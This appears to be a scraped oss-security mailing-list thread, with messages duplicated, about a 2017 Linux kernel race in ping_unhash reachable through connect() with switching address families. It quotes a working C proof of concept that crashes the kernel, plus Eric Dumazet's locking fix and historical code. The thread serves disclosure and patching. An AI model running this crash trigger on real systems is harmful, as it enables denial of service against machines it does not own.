Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race
Hi, did anyone request a CVE yet? Ciao, Marcus On Sat, Mar 25, 2017 at 01:10:57AM +0100, Solar Designer wrote: > On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote: > > Looks easy enough to fix ? > > Oh. Probably. Thanks. Need to test, but I guess you already did? > > > diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c > > index > > 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43 > > 100644 > > --- a/net/ipv4/ping.c > > +++ b/net/ipv4/ping.c > > @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk) > > void ping_unhash(struct sock *sk) > > { > > struct inet_sock *isk = inet_sk(sk); > > + > > pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); > > + write_lock_bh(_table.lock); > > if (sk_hashed(sk)) { > > - write_lock_bh(_table.lock); > > hlist_nulls_del(>sk_nulls_node); > > sk_nulls_node_init(>sk_nulls_node); > > sock_put(sk); > > isk->inet_num = 0; > > isk->inet_sport = 0; > > sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); > > - write_unlock_bh(_table.lock); > > } > > + write_unlock_bh(_table.lock); > > } > > EXPORT_SYMBOL_GPL(ping_unhash); > > FWIW, in Pavel's original implementation for 2.4.32 (unused), this was: > > static void ping_v4_unhash(struct sock *sk) > { > DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num)); > write_lock_bh(_hash_lock); > if (sk->pprev) { > if (sk->next) > sk->next->pprev = sk->pprev; > *sk->pprev = sk->next; > sk->pprev = NULL; > sk->num = 0; > sock_prot_dec_use(sk->prot); > __sock_put(sk); > } > write_unlock_bh(_hash_lock); > } > > Looks like the erroneous optimization (not expecting concurrent activity > on the same socket?) was introduced during conversion to 2.6's hlists. > > So far this cursed function had 3 bugs, two of them security (including > this one) and one probably benign (or if not, then effectively a subset > of this bug as it performed some unneeded / stale debugging work before > acquiring the lock), with all 3 introduced in forward-porting. Maybe > the nature of forward-porting activity makes people relatively > inattentive ("compiles with the new interfaces and still works? must be > correct"), compared to when writing new code. > > Anyhow, I share some responsibility for this mess, for having advocated > this patch being forward-ported and merged back then. I still like > having this functionality and its userspace security benefits... but I > don't like the kernel bugs. > > Alexander > -- Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real
Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race
Hi, did anyone request a CVE yet? Ciao, Marcus On Sat, Mar 25, 2017 at 01:10:57AM +0100, Solar Designer wrote: > On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote: > > Looks easy enough to fix ? > > Oh. Probably. Thanks. Need to test, but I guess you already did? > > > diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c > > index > > 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43 > > 100644 > > --- a/net/ipv4/ping.c > > +++ b/net/ipv4/ping.c > > @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk) > > void ping_unhash(struct sock *sk) > > { > > struct inet_sock *isk = inet_sk(sk); > > + > > pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); > > + write_lock_bh(_table.lock); > > if (sk_hashed(sk)) { > > - write_lock_bh(_table.lock); > > hlist_nulls_del(>sk_nulls_node); > > sk_nulls_node_init(>sk_nulls_node); > > sock_put(sk); > > isk->inet_num = 0; > > isk->inet_sport = 0; > > sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); > > - write_unlock_bh(_table.lock); > > } > > + write_unlock_bh(_table.lock); > > } > > EXPORT_SYMBOL_GPL(ping_unhash); > > FWIW, in Pavel's original implementation for 2.4.32 (unused), this was: > > static void ping_v4_unhash(struct sock *sk) > { > DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num)); > write_lock_bh(_hash_lock); > if (sk->pprev) { > if (sk->next) > sk->next->pprev = sk->pprev; > *sk->pprev = sk->next; > sk->pprev = NULL; > sk->num = 0; > sock_prot_dec_use(sk->prot); > __sock_put(sk); > } > write_unlock_bh(_hash_lock); > } > > Looks like the erroneous optimization (not expecting concurrent activity > on the same socket?) was introduced during conversion to 2.6's hlists. > > So far this cursed function had 3 bugs, two of them security (including > this one) and one probably benign (or if not, then effectively a subset > of this bug as it performed some unneeded / stale debugging work before > acquiring the lock), with all 3 introduced in forward-porting. Maybe > the nature of forward-porting activity makes people relatively > inattentive ("compiles with the new interfaces and still works? must be > correct"), compared to when writing new code. > > Anyhow, I share some responsibility for this mess, for having advocated > this patch being forward-ported and merged back then. I still like > having this functionality and its userspace security benefits... but I > don't like the kernel bugs. > > Alexander > -- Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real
Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race
On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote: > Looks easy enough to fix ? Oh. Probably. Thanks. Need to test, but I guess you already did? > diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c > index > 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43 > 100644 > --- a/net/ipv4/ping.c > +++ b/net/ipv4/ping.c > @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk) > void ping_unhash(struct sock *sk) > { > struct inet_sock *isk = inet_sk(sk); > + > pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); > + write_lock_bh(_table.lock); > if (sk_hashed(sk)) { > - write_lock_bh(_table.lock); > hlist_nulls_del(>sk_nulls_node); > sk_nulls_node_init(>sk_nulls_node); > sock_put(sk); > isk->inet_num = 0; > isk->inet_sport = 0; > sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); > - write_unlock_bh(_table.lock); > } > + write_unlock_bh(_table.lock); > } > EXPORT_SYMBOL_GPL(ping_unhash); FWIW, in Pavel's original implementation for 2.4.32 (unused), this was: static void ping_v4_unhash(struct sock *sk) { DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num)); write_lock_bh(_hash_lock); if (sk->pprev) { if (sk->next) sk->next->pprev = sk->pprev; *sk->pprev = sk->next; sk->pprev = NULL; sk->num = 0; sock_prot_dec_use(sk->prot); __sock_put(sk); } write_unlock_bh(_hash_lock); } Looks like the erroneous optimization (not expecting concurrent activity on the same socket?) was introduced during conversion to 2.6's hlists. So far this cursed function had 3 bugs, two of them security (including this one) and one probably benign (or if not, then effectively a subset of this bug as it performed some unneeded / stale debugging work before acquiring the lock), with all 3 introduced in forward-porting. Maybe the nature of forward-porting activity makes people relatively inattentive ("compiles with the new interfaces and still works? must be correct"), compared to when writing new code. Anyhow, I share some responsibility for this mess, for having advocated this patch being forward-ported and merged back then. I still like having this functionality and its userspace security benefits... but I don't like the kernel bugs. Alexander
Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race
On Fri, Mar 24, 2017 at 03:21:06PM -0700, Eric Dumazet wrote: > Looks easy enough to fix ? Oh. Probably. Thanks. Need to test, but I guess you already did? > diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c > index > 2af6244b83e27ae384e96cf071c10c5a89674804..ccfbce13a6333a65dab64e4847dd510dfafb1b43 > 100644 > --- a/net/ipv4/ping.c > +++ b/net/ipv4/ping.c > @@ -156,17 +156,18 @@ int ping_hash(struct sock *sk) > void ping_unhash(struct sock *sk) > { > struct inet_sock *isk = inet_sk(sk); > + > pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); > + write_lock_bh(_table.lock); > if (sk_hashed(sk)) { > - write_lock_bh(_table.lock); > hlist_nulls_del(>sk_nulls_node); > sk_nulls_node_init(>sk_nulls_node); > sock_put(sk); > isk->inet_num = 0; > isk->inet_sport = 0; > sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); > - write_unlock_bh(_table.lock); > } > + write_unlock_bh(_table.lock); > } > EXPORT_SYMBOL_GPL(ping_unhash); FWIW, in Pavel's original implementation for 2.4.32 (unused), this was: static void ping_v4_unhash(struct sock *sk) { DEBUG(("ping_v4_unhash(sk=%p,sk->num=%u)\n", sk, sk->num)); write_lock_bh(_hash_lock); if (sk->pprev) { if (sk->next) sk->next->pprev = sk->pprev; *sk->pprev = sk->next; sk->pprev = NULL; sk->num = 0; sock_prot_dec_use(sk->prot); __sock_put(sk); } write_unlock_bh(_hash_lock); } Looks like the erroneous optimization (not expecting concurrent activity on the same socket?) was introduced during conversion to 2.6's hlists. So far this cursed function had 3 bugs, two of them security (including this one) and one probably benign (or if not, then effectively a subset of this bug as it performed some unneeded / stale debugging work before acquiring the lock), with all 3 introduced in forward-porting. Maybe the nature of forward-porting activity makes people relatively inattentive ("compiles with the new interfaces and still works? must be correct"), compared to when writing new code. Anyhow, I share some responsibility for this mess, for having advocated this patch being forward-ported and merged back then. I still like having this functionality and its userspace security benefits... but I don't like the kernel bugs. Alexander
Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race
On Fri, Mar 24, 2017 at 9:27 PM, Solar Designerwrote: > Hi, > > I haven't fully investigated this issue, and the Subject is provisional > (but will probably get stuck). I am not yet sure which kernel > subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and > there might be other ways to trigger the issue. Reproduced the crash on current upstream (ebe64824e9de4b3ab3bd3928312b4b2bc57b4b7e). Adding kernel maintainers. > > Just off Twitter: > > https://twitter.com/danieljiang0415/status/845116665184497664 > > daniel_jiang > @danieljiang0415 > google won't fix kernel crash bug, I release the poc now. > https://github.com/danieljiang0415/android_kernel_crash_poc > > And the PoC is: > > --- > #include > #include > #include > #include > static int sockfd = 0; > static struct sockaddr_in addr = {0}; > > void fuzz(void * param){ > while(1){ > addr.sin_family = 0;//rand()%42; > printf("sin_family1 = %08lx\n", addr.sin_family); > connect(sockfd, (struct sockaddr *), 16); > } > } > int main(int argc, char **argv) > { > sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); > int thrd; > pthread_create(, NULL, fuzz, NULL); > while(1){ > addr.sin_family = 0x1a;//rand()%42; > addr.sin_port = 0; > addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); > connect(sockfd, (struct sockaddr *), 16); > addr.sin_family = 0; > } > return 0; > } > --- > > I suppose the focus on Android is because it makes ping sockets > available to users by default, but the bug isn't Android-specific. > > By granting ping sockets to a user, I am able to crash a RHEL7'ish > system with the above PoC quickly. The crash (at least in my two tests) > is a NULL pointer dereference in net/ipv4/ping.c: ping_v4_unhash(). > In newer upstream code, e.g. Linux 4.10.5, the function is renamed to > ping_unhash() since it's shared with IPv6, but is otherwise similar. > > The two address families used by the PoC above are AF_UNSPEC and AF_LLC. > For the latter, net/llc/af_llc.c: llc_ui_connect() checks for AF_LLC and > then proceeds to overwrite parts of the "struct sockaddr". > llc_ui_bind() looks similar, so the issue might also be triggerable via > bind(). These overwrites might be directly related to the crash, or it > might be something further. At first glance, these two functions look > similar in RHEL7 and 4.10.5, so, if relevant, can probably be used to > trigger the issue on latest upstream as well. > > At this point, I think I'll leave further investigation to someone more > up-to-date on these interfaces and conventions. I am merely conveying > the message, which at this point I understand only partially. > > Alexander
Re: [oss-security] Linux kernel ping socket / AF_LLC connect() sin_family race
On Fri, Mar 24, 2017 at 9:27 PM, Solar Designer wrote: > Hi, > > I haven't fully investigated this issue, and the Subject is provisional > (but will probably get stuck). I am not yet sure which kernel > subsystem(s) to blame here (ping sockets? LLC sockets? other/more?), and > there might be other ways to trigger the issue. Reproduced the crash on current upstream (ebe64824e9de4b3ab3bd3928312b4b2bc57b4b7e). Adding kernel maintainers. > > Just off Twitter: > > https://twitter.com/danieljiang0415/status/845116665184497664 > > daniel_jiang > @danieljiang0415 > google won't fix kernel crash bug, I release the poc now. > https://github.com/danieljiang0415/android_kernel_crash_poc > > And the PoC is: > > --- > #include > #include > #include > #include > static int sockfd = 0; > static struct sockaddr_in addr = {0}; > > void fuzz(void * param){ > while(1){ > addr.sin_family = 0;//rand()%42; > printf("sin_family1 = %08lx\n", addr.sin_family); > connect(sockfd, (struct sockaddr *), 16); > } > } > int main(int argc, char **argv) > { > sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); > int thrd; > pthread_create(, NULL, fuzz, NULL); > while(1){ > addr.sin_family = 0x1a;//rand()%42; > addr.sin_port = 0; > addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); > connect(sockfd, (struct sockaddr *), 16); > addr.sin_family = 0; > } > return 0; > } > --- > > I suppose the focus on Android is because it makes ping sockets > available to users by default, but the bug isn't Android-specific. > > By granting ping sockets to a user, I am able to crash a RHEL7'ish > system with the above PoC quickly. The crash (at least in my two tests) > is a NULL pointer dereference in net/ipv4/ping.c: ping_v4_unhash(). > In newer upstream code, e.g. Linux 4.10.5, the function is renamed to > ping_unhash() since it's shared with IPv6, but is otherwise similar. > > The two address families used by the PoC above are AF_UNSPEC and AF_LLC. > For the latter, net/llc/af_llc.c: llc_ui_connect() checks for AF_LLC and > then proceeds to overwrite parts of the "struct sockaddr". > llc_ui_bind() looks similar, so the issue might also be triggerable via > bind(). These overwrites might be directly related to the crash, or it > might be something further. At first glance, these two functions look > similar in RHEL7 and 4.10.5, so, if relevant, can probably be used to > trigger the issue on latest upstream as well. > > At this point, I think I'll leave further investigation to someone more > up-to-date on these interfaces and conventions. I am merely conveying > the message, which at this point I understand only partially. > > Alexander